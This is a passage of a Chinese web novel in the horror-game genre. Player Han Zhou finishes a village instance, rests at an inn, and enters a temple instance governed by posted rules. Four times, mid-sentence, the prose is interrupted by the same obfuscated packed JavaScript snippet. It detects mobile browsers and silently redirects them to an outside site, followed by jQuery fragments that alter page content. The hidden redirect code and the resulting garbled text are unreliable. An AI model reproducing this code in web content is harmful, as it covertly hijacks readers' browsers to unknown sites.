王铁柱和王二牛、王大齐虽不是亲兄弟，却从小一起长大，感情好得能穿一条裤子。前几年闹饥荒，家里揭不开锅，还是王大齐冒着危险爬山采药换取钱财粮食分给他和二牛。王大齐总笑着说，是兄弟就要同甘共苦。 可如今，三个人有两个都变成怪物，只剩他一人还活着… 不知道自己能不能活着出去…他忍不住用手臂擦了一把脸，不知道是擦去汗水还是泪水，一阵热浪裹挟着沙粒袭来，吹得他脸上刺痛，他感觉有沙子钻进了他的眼睛。 沙子？为什么会有沙子…他的意识开始模糊，耳边骤然响起一声号角声，他如同从梦中惊醒，一脚踩进黄沙里，发现自己又回到了古战场，周围烟沙弥漫，遮天蔽日。嘶喊声和刀枪碰撞声不绝于耳。 神将一手持盾牌，一手举着巨斧，穿过风沙来到了他的面前。他终于看清了神将的模样… “祂”没有头颅。 王铁柱脑海中骤然冒出一个念头：人的寿命如此短暂，随时会死于天灾人祸，就像蝼蚁一样。人无意间倒下一碗热汤，就能毁掉整个蚁穴，神随意一个念头，就能主宰人的生死…只有完全臣服于神，让神降下怜悯和仁慈，才能获得永生… “不对。”他晃了晃脑袋，眼前的神将消失了，只剩下面目狰狞的怪物，他感到自己的胸口很痒，心脏剧烈跳动着，体温在升高。 他知道，按照韩舟的话，他可能被“污染”了。 他使劲咬破舌尖，维持意识的一丝清明。但收效甚微，脑海很快开始混沌不清，他有一种冲动，想要跪倒在地，向“祂”膜拜。 “不行，再撑一会儿…至少不能伤害田儿…”王铁柱手中砍刀拐了个弯，砍向了自己的大腿，剧痛使他的头脑清醒了几分。他趁着清醒的这片刻功夫，死死抱住身边两个怪物，将自己的全身体重压在他们身上。 “田儿，撑到韩姐姐上来！” 随后王铁柱抱着身边的怪物一起跳下了悬崖！ 看着父亲坠落悬崖的背影，王田儿眼中泪水涌出，却没有哭喊，她坚定地举起手中的匕首，对准向她扑来的怪物。 王田儿在爹娘眼中一直乖巧柔顺，她不爱说话，也不爱和同龄小孩一起玩，经常一个人坐在小河边发呆。 有天她看到村里的“小霸王”二狗子又在欺负别的小孩，她静静看了一会儿，弯下腰，捡起了地上的石子，向二狗子扔了过去。 二狗子被石子砸得后背生疼，气地一把抓住她的胳膊，把她推倒在地上。 王田儿的头发和衣服浸在了泥水里，手臂擦破了渗出了血，染红了一滩泥水，但她内心却没有半点恐惧，她咬了咬嘴唇，趁着二狗子得意忘形之际，使劲踹向了他的命根子… 看着二狗子痛地叽哇乱叫，她露出了胜利者才有的笑容。 现在，她也不害怕怪物，她一定会坚持到韩舟回来。 ……… 韩舟沉思片刻，从道具栏中取出板砖，在手上颠了颠，如果真的非要推倒整座山，那就只能试一试了。 她挥动板砖狠狠拍在洞穴的石壁上，整个洞穴开始剧烈摇晃起来，石壁上出现了一条裂缝。空气中的腥臭味更浓了。她又一板砖砸在了裂缝处，裂缝逐渐变大，向洞穴身处延伸去。 霎时间，一股狂风呼啸袭来，吹得她站立不稳，差点摔倒，她堪堪稳住身形，下一刻又一阵猛烈的风拍在了她的身上，她整个人向洞外飞去！ 就在她要跌落悬崖的一瞬，她伸出手死死抓住了洞穴口的一块石头，整个身子悬在了半空中，狂风像刀片一样刮过她的脸颊，她的衣袖在风中猎猎作响，她不敢向下看，因为她知道脚下就是万丈悬崖。 就知道打碎这个“神像”不会这么容易…她叹了口气，用尽浑身力气紧紧扒住洞口，她没去抓山藤，担心强风之下山藤会折断，只是咬紧牙关，颤动着举起板砖继续使劲砸在了峭壁上，一下又一下，没有半刻停歇。 剧痛从扒着石头的手指指间一路袭向心口，韩舟感觉自己的指甲盖快要翻过来了，脑海中有一个声音隐隐在说：放弃吧，松手吧，没用的，你以为你真的能推倒这座山吗…另一个声音很快响起：不试试看怎么知道呢？坚持下去说不定有奇迹…王铁柱和王田儿还在等着你救他们呢。 脑海里两个小人在打架，她手中的板砖却没停过，不知砸了多少下，她终于听到了石头断裂的声音，紧接着便是一阵隆隆轰鸣声，整座山摇晃了起来。 大块大块碎石砸落，与悬在峭壁上的韩舟擦肩而过，她松开手，身体坠入了深渊，意识也随之坠入无边无际的黑暗。 耳边传来了波浪声。 她睁开眼，面前是浩浩汤汤的大河，汹涌的浪涛如千军万马奔流而过，水汽湿润了她的衣衫。 远处水天相接之处，有两位女子踩在波浪之上，如同站在平地上一样自如，她们身着霓裳羽衣，衣袂飘飘。不知道为什么，韩舟觉得她们很熟悉，仿佛认识了很久。 其中一位女子向她这飞了过来，眨眼的功夫便有一片红衣落在她面前，女子的面容如隔着一层迷雾，叫人看不清楚，恍惚间，一只温暖的手抚上了她的额头… 韩舟想说些什么，却未曾来得及，她感觉自己的身体越来越轻，向天上飞去，又极速坠落，狠狠摔在地上。 “嘶…好疼。”韩舟捂着肩膀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14365264|153015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐了起来，痛地龇牙咧嘴，所幸没有摔伤，因为身下是松软的泥土，她发现自己躺在村外的荒田里。 她飞快爬起身，一路小跑进了村子，村里依旧空空荡荡，一片死寂，不见任何人影。 “王铁柱！王田儿！”韩舟在村里一边跑着一边大喊，却没听到任何回应，道路两旁是依然空无一人的房屋，像一座座墓穴，她仿佛又回到了刚进副本的时候，整个村子只有她一人。明明艳阳高照，她却觉得脸和手都是冰凉的。 “恭喜玩家韩舟，通关怪谈《遗失村落》。”熟悉的机械音在耳边响起。 “我…通关了…”韩舟先是松了一口气，随即又急急问道：“王铁柱和王田儿…我是说那两个npc…他们怎么样了？。” “王铁柱受到污染摔下了悬崖，已失去人类的生命特征，王田儿成功存活。”系统的声音冷冰冰的，仿佛在叙述一件无关紧要的事。 王铁柱他…死了，韩舟内心涌起强烈的悲伤，不过幸好王田儿活了下来，虽然他们只是npc，但是毕竟共患难过，韩舟已经把他们当成了伙伴。 “玩家是否要阅读《遗失村落》的背景介绍？” 韩舟选了“否”，这个怪谈的背景她已经通过幻境了解的七七八八了，这个村子的人应该是因为爆发瘟疫开始信仰供奉“祂”，谁知带来的依然是灭顶之灾。 真是一个彻头彻尾的悲剧，知道再多也是给自己徒增伤感。 她其实是有点好奇那个黑衣斗笠人是谁的，但想想下个副本又不会遇到，也就随他去了。 “现在开始结算奖励… “通关奖励：游戏币2000枚，由于玩家拯救了一名土著npc，额外奖励游戏币1000枚。” 韩舟面露惊讶，原来救npc也能奖励游戏币，奖金还挺高的，她眼珠子转了转，开口问道：“那我以后是不是救一个npc，就能奖励游戏币？” “是的，尊贵的玩家。”不知为什么，韩舟觉得系统此时的声音里带着一丝笑意。 “所有npc都可以吗？” “只要是没有被污染的npc，都可以获得奖励。” 天下竟有这等好事！不过救一个npc的难度不小，在保住自己性命的同时，还要保护npc，并且要通关游戏，这是一个严峻的考验啊。 没事，她还挺爱挑战的。 “这个游戏有别的通关方法吗？要推倒整座山…亏游戏想的出来。”韩舟忍不住吐槽。 “没有，只有砸碎神像这一个方法。”系统答道。 “这是普通玩家能做到的吗？如果我没有a级道具可就得交代在那里了。”韩舟皱了皱眉头。 “所以我在新手关就把a级道具还给了你，而且你也不是普通的玩家，你无论精神值还是体力值都高于一般人。” “这算是游戏给我的外挂吗？”韩舟有些疑惑，“让我开着挂玩游戏，对你有什么好处。 系统避而不答：“我期待你带给我更多的惊喜。” 听到系统这句话，韩舟心里忽然有种古怪的感觉，她想起了系统之前说的期待玩家挑战通关新方法，不禁问道：“如果新手关我没有消灭鬼新郎会怎么样？真的能通关吗？” 12. 又回黑猫客栈 “如果新手关我没有消灭鬼新郎会怎么样？真的能通关吗？” 系统沉默了一瞬，随即答道：“只要不被污染，就能顺利通关。” 韩舟听出了弦外之音：“…所以和鬼新郎拜堂有很大几率被污染吧…” “…是，可能会以为自己就是赵家小姐，从此被鬼新郎困于怪谈中。”系统顿了顿，又补充，“但你的精神值很高，所以通关的可能性更高。” …怎么感觉新手关也是地狱级别的难度…韩舟隐隐觉得，系统是在鼓励她正面对抗怪谈boss，而且是希望她除掉它们。 游戏是觉得这些boss不太敬业，想换一批新的来？那也不该她这个玩家来干这事啊，是怕辞退那些boss要给补偿吗，韩舟忍不住在心里吐槽。 系统没有关注韩舟内心的小九九，继续道：“玩家接下来可以选择：1、进入下一个怪谈；2、前往休息站休息三天，三天过后再进入下一个怪谈。” “我选2。”韩舟毫不犹豫答道，再不休息她要过劳死了。 她刚踏出村口，面前的景色就变换了，她回到了灯火通明的客栈大堂。堂内依旧干净整洁，空气中酒香四溢。柜台后不见黑猫掌柜，只有寓一只鼠端着一坛酒正“咕嘟咕嘟”喝着。它看到韩舟进来，吓得连忙将酒坛摆回柜子上，擦了擦嘴角的酒渍。 韩舟乐了，这是欲盖弥彰。 “你想喝酒就喝吧，不用避着我，别被黑猫掌柜看到就行。”韩舟冲寓浅浅一笑，不过她觉得就算被黑猫掌柜看到了也不会怎么样，最多再多打几年工。 “谢谢你…”寓边说边从柜中取出一个白玉瓶和一个小酒杯，倒了一杯递给她。 “我不喝酒的。”韩舟摆了摆手。 “这是果酒，不烈，很甜。”寓柔声道。 韩舟犹豫了下便接过杯子，紫红色的液体散发着淡淡清香，她浅酌一口，酸酸甜甜，余味悠长，身上涌起一股暖意，从副本里带出的疲惫似乎一扫而光。 “谢啦，小寓。”她一口饮尽，将杯子还给了寓。 接下来真的得好好歇歇了。 韩舟回房后一挨着枕头就睡着了，一夜无梦。第二天早上醒来后，她简单梳洗了一番，便开始规划起自己的假期来。这次她不急着进副本了，上个怪谈赚的游戏币已经足够她潇洒三天。 今天怎么安排呢… 韩舟挺好奇三楼的上等客房长什么样，但客栈规则里说不让去，恰恰遵守规则是她最擅长的了…要不出客栈看看？规则里只是说子时后不能出客栈大门，那白天应该是可以出去逛逛的。 她打开衣柜，取出一间胭脂色襦裙换上，用红色发带挽起头发，可惜这休息站的场景有限，不然她挺想看看古代繁华的街市，还有…灯会！这些她只在古装剧里见过。不知以后在怪谈里有没有机会见一见…但就算有机会，那也是伴随着惊悚场面了。 下楼来到大堂，依旧不见黑猫掌柜的身影，寓正挪动着肥硕的身体，手里攥着块抹布，慢吞吞地擦着大堂里的桌子。看着忙忙碌碌的寓，韩舟心里犯嘀咕，这只黑猫最近有别的事要忙吗…还是因为有寓在，它就不用干活当甩手掌柜了。 “早，小寓，我今天出去逛逛。”韩舟随口招呼了下寓。 “我和你一起去！”寓停下了手中的活儿，抬头看着韩舟。 “你不用看店吗？”韩舟奇道。 “掌柜的叫我跟着…这里除了你也没有别的客人，不用时时刻刻看着。”寓说话一直轻声细语，和它的外表很不符。 “好吧，正好我一个人也无聊，你陪我在山里玩玩。”韩舟对此倒是没啥意见。 寓放下手中的抹布，一道白光闪过，它的身体缩小了，肩上生出了一对毛茸茸的翅膀。它煽动翅膀飞到了韩舟的肩膀附近。 “走吧。”一人一鼠出了客栈大门。 山林里有不少参天古木，郁郁葱葱，韩舟漫步期间，只觉清风拂面，十分惬意。 要是能下山看看就好了，韩舟这么想着，脚就自动往下山的方向迈去，试一试呗，万一有边界再返回。 “韩舟…”寓开口叫住了她，“别往山下走了。” “为什么？”韩舟侧目看它，只见寓煽动翅膀上下飞舞，话说它现在看着倒不怎么像老鼠了，有点像…蝙蝠？韩舟被自己这个想法吓了一跳。 “掌柜的不让…”寓轻声说。 “哦，好吧。”韩舟不是个爱唱反调的人，大多数时候只要不涉及原则，她都是随遇而安的，于是她止住了下山的脚步，只在附近转了圈。 兜兜转转行了数十步，她听到了潺潺流水声。前方是一条清澈的小溪，溪边有一个背部长着驼峰的动物低头饮水。 这里为什么会有骆驼？ 在韩舟的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14370228|153015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 认知里，骆驼只出现在沙漠，在深山老林里看到骆驼这种生物，也太诡异了。 但她是个胆子大的，快步走上前仔细瞧了瞧，骆驼抬起头看了她一眼，又低下头继续喝水。 “韩舟…我们回去吧！”寓飞近了，轻轻落在韩舟的肩膀。 …韩舟觉得这个寓就像看管犯人的狱卒，这也不行，那也不行的，生怕她干出什么坏事。她依依不舍地望了骆驼两眼，“好想骑一下啊。” 因为寓的监督，韩舟都不敢到处乱跑了，随意逛了一会儿便返回客栈。接下来的日子就是吃了睡，睡了吃，没事就和寓偷点果酒喝。 三天假期很快过去，韩舟得为接下来的怪谈副本做准备了，她点开商城主页，发现公告显示有上新。 “污…染…试…纸？”韩舟点开商品详情，图片上显示是一张黄色的符纸，底下的介绍写着：可以测出污染的符纸，将符纸贴在人的身上，如果符纸变黑就是被污染了，没有变色就是安全的。 “这可是好东西啊。”她以后在副本里要保护npc的话，就得判断npc有没有污染，不过这符纸的价格不便宜，她只买了几张，就几乎花去了她大半游戏币，她又用剩余的游戏币买了些伤药。 商城里并没有可以清除污染的商品，这类是稀有道具，只能在游戏里获得。 忙完这些，她开始召唤系统：“可以给我安排下一个怪谈了。 “好的，尊贵的玩家，你即将进入的下一个怪谈是《深山古寺》，难度为c+级，明天一早走出客栈就能进入怪谈。” “顺便有个好消息要告诉你，如果此次怪谈你能顺利通关，就可以解锁大地图。” “大地图是什么？”韩舟的好奇心被勾起。 “就是更多的场景，包括非怪谈地带。” 听起来不错！是不是意味着她有机会见到古代的集市了！韩舟跃跃欲试。她今晚睡的很早，养精蓄锐，第二天下楼的时候活力满满。 “要小心啊。”寓提醒道。 “放心。”韩舟推开客栈大门，外面的场景又变了，这回看着是一个城镇，街上很冷清，只有廖廖几人，都背着包裹，行色匆匆。她低头看了一眼身上的衣服，已经变成了素白色，上面还有破旧的补丁，一头乌发被一根同色的发带扎着，松散地披在肩上。 不是说“深山古寺”吗？寺庙呢？韩舟疑惑发问。 13. 深山古寺（一） 客栈大门在身后消失，韩舟抬脚踏入了这座小城。 她四处遥望，心生疑惑，这个怪谈明明叫做“深山古寺”，却没看见任何类似寺庙的建筑物。道路两旁虽有不少食肆、商铺，但都无人问津，十分冷清。 她走到期中一间食肆前，只见店主无精打采地靠在店门口，看到韩舟后他眼睛一亮，马上热情招呼：“这位姑娘，进来坐坐？” 韩舟轻轻摇了摇头，问道：“请问店家，这附近有寺庙吗？” 店主一听她没有光顾的意思，态度立刻冷了下来，“你也是去灵古寺避难的？去那的人太多了，寺庙再大香火也有限，根本供不起这么多尊佛，时间久了八成要赶人出来了。” “灵古寺…”韩舟捕捉到了这个词，正是这次怪谈的主题了，“请问灵古寺怎么走？” 店主冷笑一声，指了指远方“呐，就在那儿。”韩舟随着他手指的方向望去，果然远处有山峦在云雾中若隐若现。 “你跟着街上那些背着行李的人走就是了，他们都是去那的。”说罢，店主摇了摇头进屋去了。 韩舟回头看向街道，路上行人有的背着包袱，有的拖着板车，其中有位妇人拉着一头小毛驴，毛驴背上挂着不少包裹，很是显眼。她见这妇人面容和善，便走上前去，“这位姐姐，请问你是去灵古寺的吗？” 妇人上下打量了她一眼，随即笑着回答：“是啊，你也知道城外闹鬼，我家相公害怕波及到城内，他让我先去寺里避一避。” 闹鬼？去寺里避难？可这“灵古寺”应正是闹鬼的中心啊，这不是避难，这是打着灯笼上茅厕——找死吧…韩舟心里这么想着，面上却无波澜，也没有出言劝阻，她知道对方不会轻易相信，反正到山上她会想法子保护这些npc。 “我叫韩舟，也正要去那，我能与姐姐同行吗？”韩舟是个外貌性格反差极大的，光看脸是柔弱无辜的小白花长相，容易叫人放下戒备之心，“我才来这城内没多久，对去灵古寺的路不是很熟。” “当然可以。”妇人笑着点点头，“你叫我张姐就行，我们这会儿进山，天黑之前就能到了。” “张姐！”韩舟甜甜叫了一声，叫地张姐眉毛更弯了，她挽上韩舟的手，二人结伴向远处山峦走去。 山路崎岖，韩舟和张姐缓步而行，这里的树木不比黑猫客栈附近的高大茂盛，枝叶在风中簌簌而动，韩舟似乎听到其中夹杂着乌鸦哀哀的叫声。 行了将近半个时辰，恢宏的古刹终于出现在韩舟的视线范围内，山门之上，匾额高悬，“灵古寺”三个金漆字苍劲有力，一条长龙从山门逶迤而下，张姐拉着韩舟走到了队伍末尾。 “居然有这么多人…”韩舟不禁感叹道。 “可不是。”排在韩舟前面的一青衫书生接话，“最近城外闹鬼搞得人心惶惶，这灵古寺的主持据说是位会镇魔驱鬼的得道高僧，若不是有些人舍不得家里产业，怕是整座城的人都要上这来寻求庇护了。” “躲进这灵古寺真的有用吗？如果那主持真会驱鬼，为何不去城外把鬼驱了呢？”韩舟话语间隐隐透露出不屑。 “唉，你这姑娘…”书生回过头来，有几分恼怒地看着韩舟，“你若不信这灵谷寺高僧能驱鬼，何必上这来呢？” “我来上个香求个姻缘不行吗。”韩舟随口答道。 “你…”书生涨红了脸，还欲说什么，张姐捏了一把韩舟的手，出来打圆场，“对不起，我家妹子不会说话，她不是这个意思，她只是想顺便求个姻缘。”说罢又朝韩舟使了个眼色。 “…抱歉…刚才我说错话了，我是希望那位得道高僧早日把天下恶鬼除尽，还世间一个太平。”韩舟眨巴了两下眼睛，说得十分真诚。 书生面色稍缓，转过头去不再搭理韩舟。 又过了半刻功夫，韩舟和张姐终于排到了山门口，她走近了才发现，山门墙壁上写着几排血字。 《深山古寺》怪谈玩家须知： 一、佛门是清净慈悲之地，不可喧哗不可杀生。 二、进了寺内只能上三炷香，不可多不可少。 三、佛像是庄严的，不会发出笑声，如听到笑声，请当成幻觉，闭上眼睛等待一分钟。 四、身着靛蓝色袈裟的僧人是可以信任的，不要拒绝他的要求。 五、寺院里没有穿赤色袈裟的僧人，如见到，请无视他，更不要与他对话！ 韩舟一字一句仔细读完，记在了心里，这次的规则倒是挺清晰的，这赤色袈裟的僧人看来就是怪谈的危险之一。 她侧过头瞅了一眼张姐，见她面色如常，丝毫没注意到墙壁上的字迹。 npc果然都看不见规则，韩舟心下了然。 山门边正好站着一位穿着靛蓝色袈裟的僧人，他递给了她们每人一个小木牌。 韩舟看着手中的小木牌，上面写着数字“肆肆肆”…444…好吉利的数字。她看了一眼张姐手上的木牌，数字是“肆肆伍”。 僧人道：“你们可拿着这木牌去领住处和饭食，切记在寺院内不可杀生不可喧哗。” 张姐立刻答道：“我记住了，多谢师父。” 韩舟也跟着应和一声，这僧人又重复了一遍墙壁上的第一条规则，看来这条尤为重要。不过这杀生和喧哗的界定不明，比如多大声音才算喧哗？ 韩舟这么想着，张姐的小毛驴被僧人拉走另外安置了，她俩在另一位身着靛蓝色袈裟的僧人来到了寺庙前，庙内有诵经声传来。僧人手捧一个托盘，上面放着一捆香和一些碎银，对她们说：“二位施主，进去上炷香吧。” 张姐取出一小块碎银放在托盘上，僧人取了三炷香给她。 咦？这僧人居然没有多拿香或少拿香，如规则里所说恰恰好拿了三炷，没有故意坑人。 蓝色袈裟的僧人果然是可以信任的。 韩舟学着张姐，也拿了一块用游戏币兑换的碎银放在托盘上，僧人同样也拿了三炷香给她，“二位施主上完香就速速出来，不要多做停留。” “多谢师父提醒。”张姐拉着韩舟进了寺庙的大门。庙里同样有个蓝衫僧人，正低头诵经，高大的金身佛像置于寺庙正中间，庄严慈悲，正垂眸看着她们。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14376449|153015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张姐将三炷香悬于案上烛火点燃后，用手指夹着香平举至眉心，静立了片刻后，把香插进了案上的错金香炉中。 韩舟有样学样，点燃三炷香后，用手指夹住举到眉心，她没有许愿，上个怪谈有条规则是许愿了就会被污染，谁知道这个怪谈会不会也这样…她也默默站立片刻后，走到香炉前正准备将香插上，耳边忽然响起一阵笑声！ 这笑声又尖又细，骤然出现在寺庙内显得十分阴森，韩舟急忙抬头看向佛像，只见原本表情肃穆的佛像嘴角竟咧开嘴笑了。 规则三，佛像是庄严的，不会发出笑声，如听到笑声，请把它当成幻觉，闭上眼睛等待一分钟。 韩舟马上闭上眼睛，在心里倒计时六十秒，这期间笑声在耳边断断续续响起，忽远忽近，一会儿从头顶响起，一会儿从背后传来，一会儿贴近在她耳侧，似在引诱她睁开眼睛。 她不为所动，静静地在心里数完了六十下，才睁开了眼。笑声消失了，面前的佛像又变回了原来庄严肃穆的样子。 韩舟送了一口气，看向周围，发现张姐不见了，只剩下那个蓝衫僧人。僧人不知何时已停下了诵经，默默地注视着她。她张了张口，刚想询问张姐去向，僧人从案上取了一个竹制的签筒，向她走了过来。 “施主，求个签吧。” ？？？？韩舟内心冒出无数个问号，寺庙门口那个僧人只让她们上香，可没让她求签啊。 规则四，身着靛蓝色袈裟的僧人是可以信任的，不要拒绝他的要求。 既然是蓝衣僧人提出的，那就无法拒绝了。韩舟抿了抿唇，反正只是求签而已，希望别抽到什么不吉利的签。 韩舟伸手接过竹筒轻轻摇晃了几下，一支木签从筒中调出。她将签拾起，只见上面写着： “既得相逢，不问缘劫。” “这是什么意思？”韩舟将签递给僧人看。 “恭喜施主，这可是稀有签，求的乃是姻缘。”僧人双手合十说道。 …我可不觉得这有什么值得恭喜的，哪个正常人在怪谈游戏里求姻缘啊！韩舟没想到在山门口跟书生随口扯的胡话居然成真了，她将那支签捏在手里，真是扔也不是，不扔也不是。 就在她无比尴尬之际，系统的提示音蓦地响起： “这是一支神奇的姻缘签，可清除一次污染。” 这居然是…道具？韩舟心花怒放，她运气也太好了，刚进怪谈就抽到了稀有道具。她用袖子将这支签反复擦了几遍后，小心翼翼地放进怀里，准备等出门再将它放进道具栏。 她满心沉浸在拿到道具的喜悦中，正准备问问僧人能不能多求几支，想试着多抽几个道具，却见僧人目光越过了她，似是对她身后说道：“施主，求个签吧。” 韩舟向背后望去，庙里不知何时进来个男人，看着正值弱冠之年，乌发被银冠束起部分，其余披在肩上，一身白衣如雪，气质却不似雪那么冰冷，更像轻柔的月光。他抬眼向她看来，嘴角噙着一丝若有若无的笑意。 仅仅对视了这一眼，对方就收回目光，不再看她。 14. 深山古寺（二） 韩舟脑海里闪过好几个古风漫画里的翩翩公子，面前的白衣男子简直就是他们的具象化。这游戏的npc是越捏越好看了…韩舟在内心啧啧称奇。 见白衣男子没有动作，僧人又提高声音重复了一句：“施主，求个签吧。” 韩舟注意到僧人原本干净的眼白里泛起了血丝，正想提醒白衣男子不要拒绝僧人的要求，还未开口，他就伸手接过了竹筒，握在手中轻轻摇晃了两下，一支签稳稳落在他的手心。 他看也没看，就将签递给了僧人，“师父，此签何解？” 僧人接过签，看着上面的字念道：“既得相逢，不问缘劫。”顿了顿，语气流露出几分讶异，“这是稀有签，旁边那位施主正巧抽的也是这支。” 怎么觉得不太妙…韩舟警觉。 “二位命中缘劫相生，既相逢，当不问后事，珍惜眼前。”僧人手里捏着那支签，目光扫向他们两人，眼含深意。 …好尴尬…这什么大型拉郎配现场…韩舟决定赶紧说点什么来转移话题：“那什么，只抽一次不太准，让我再多抽几次试试。” 言下之意，让我再多抽点道具。 白衣男子听到此言，目光淡淡落在韩舟身上，忽地笑了：“的确，求签之事，不可尽信，姑娘不必放在心上。”他的声音像被月色浸润过，十分温柔。语罢他朝僧人施了一礼，便转身离去。 那支签就这样被留在了僧人手里，看着白衣男子远去的身影，僧人没有出言叫住他，只是默默拿起了竹筒，准备把签放回去。 “慢着！”韩舟急忙道，“这签可以给我吗？” 僧人看向她，一脸了然的神色：“施主放心，你和那位施主有缘，还会再遇到的。” 一阵无力感涌上韩舟心头，你明白个什么，和一个怪谈游戏的npc有缘，这不是缘这是惊悚事件好吧！不过她懒得解释，他误会了也好，她就不用再想别的理由去要这支签了。 她从僧人手中接过签，系统提示音果然响起： “这是一支神奇的姻缘签，可清除一次污染。” 韩舟喜滋滋地把它揣进衣袋里，想起了张姐，刚才被求签的事打岔忘了：“请问师父，刚才和我一起进庙的妇人去哪里了？” “她上完香就出去了，说在外面等施主。”僧人答道。“谢谢师父。”韩舟也学着僧人的样子双手合十鞠了个躬。 出了庙门，张姐果然站在门口，手里拿着大包小包的行李，看着韩舟满脸歉意：“妹子，我见你举香闭着眼许久不动，以为你在诚心许愿，怕打扰到你，就没等你先去拿包袱了，对不住。” “没事儿，该说对不住的是我，刚在里面我拉着师父聊了会儿，这才误了时间。”她没好意思提求签的事儿，“天色不早了，我们赶紧去住处吧。” 又一个穿蓝色袈裟的僧人来到她们面前，准备引她们去房间。不得不说，这些僧人都穿着相同样式的蓝色袈裟，还都是光头，一时之间竟分不出谁是谁。 蓝衣僧人引着她们来到一处幽静的庭院，院里一间间房相邻着整齐排布，树荫投下一片清凉，角落杂草丛生，一只红眼白兔卧在草中，毛茸茸的甚是可爱。 韩舟蹲下来摸了摸它的毛，软软的像一团棉花，兔子红通通的眼睛盯住了她，不知为何，她觉得这只兔子的眼神很像人类。 韩舟猛地缩回了手，她为什么会有这种想法？ “妹子！”听到张姐在唤她，她站起来应了一声，再看向草丛时，发现兔子不见了。 僧人刚跟张姐交代完事项离去，张姐冲韩舟笑了笑，说：“这间院里住的都是女子，等会儿得空我们去走动走动。”韩舟看向别的房间，发现房门都紧闭着，异常安静。 张姐按僧人的话推开其中一间房的门，这房间虽不大却干净整洁，有两张木床，都没有铺被褥，光秃秃的床板露在外面，上面刻着几个大字，正是她们领到的木牌上的数字。 床边上的墙壁写着几行小字，韩舟凑近一看： 一、按照木牌上的编号选择正确的床入睡，不要睡错。 二、子时以后尽量不要出房门，如非要出去须两人结伴。 三、如果你的同伴出现异常，不要引起它的注意，立刻通知主持处理！ 韩舟看完这几行字转过身对张姐说道：“张姐，床上的字跟木牌上的字对应，我们要睡在跟木牌上字一样的床上。” “成，我睡哪儿都行。”张姐说着便走向刻着“肆肆伍”的那张床，将包袱放在床板上，取出一床被褥。 “妹子，刚好我多带了被褥，你不嫌弃的话这一床给你。” “怎么会嫌弃呢，谢谢张姐！”韩舟乐呵呵道。 “那好，我来帮你铺吧。”张姐热情地将被褥铺在韩舟的床上，弄的韩舟不太好意思，“张姐，我自己来吧。” “没事，我铺得快，等会儿还要去斋堂用饭，你可以去问问隔壁房的要不要和我们一起。”张姐手脚麻利，不一会儿就将被褥铺的差不多了。 “好。”韩舟走出屋子，想了想来到右侧的房间门口，轻轻敲了敲房门。 敲了片刻，门被打开，出现在韩舟眼前的是一个年轻女子，她身着素白衣裳，没有挽发髻，头发就这么乱蓬蓬地披散在肩上，眼睛有些混浊，眼下一片淤青。 “你有什么事？”女子冷冷道。 “…”韩舟犹豫了下，露出一个甜甜的笑容，“姑娘你好啊，我今天才住进这寺里，想多结识几个朋友，等会儿我要去斋堂用饭，你要不要一起去？” “斋堂的饭…”女子听到“斋堂”这几个字像听到了什么极为可怕的事，瞳孔猛地一缩，“够了，我真的吃够了。” “够了，我吃够了…”女子捂住了头，使劲在头发上揉搓着，反复重复着这句话。 这女子看着精神状态不太正常，是不是被污染了？韩舟脸色凝重起来，她取出一张符纸，轻轻将它贴在女子肩上，试纸却并没有变色。 她没有被污染？ 女子低头看了看贴在肩上的符纸，抬起头狠狠蹬了韩舟一眼，“你才是鬼。”说罢将符纸扯了下来，几下撕了个粉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14397840|153015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碎，随后“砰”地一声把房门关上了。 …韩舟尴尬地摸了摸后颈。 无奈之下，她也不敢贸然去敲别的房了，怕再遇到类似的事，只好灰溜溜回了房。 张姐已经把房里两张床都铺好了，被子叠得整整齐齐，像一个豆腐块儿，上面放着一个天青色枕头，她看到韩舟一个人回来，心下明白了几分，“隔壁的姑娘没空？” “嗯…”韩舟点了点头，没敢告诉张姐真实情况，只是说：“我们还是不要去打扰她们。” “没事儿，那就咱们两个去。”张姐挽起韩舟的手，拿上木牌，“等哪天她们有空了再说。 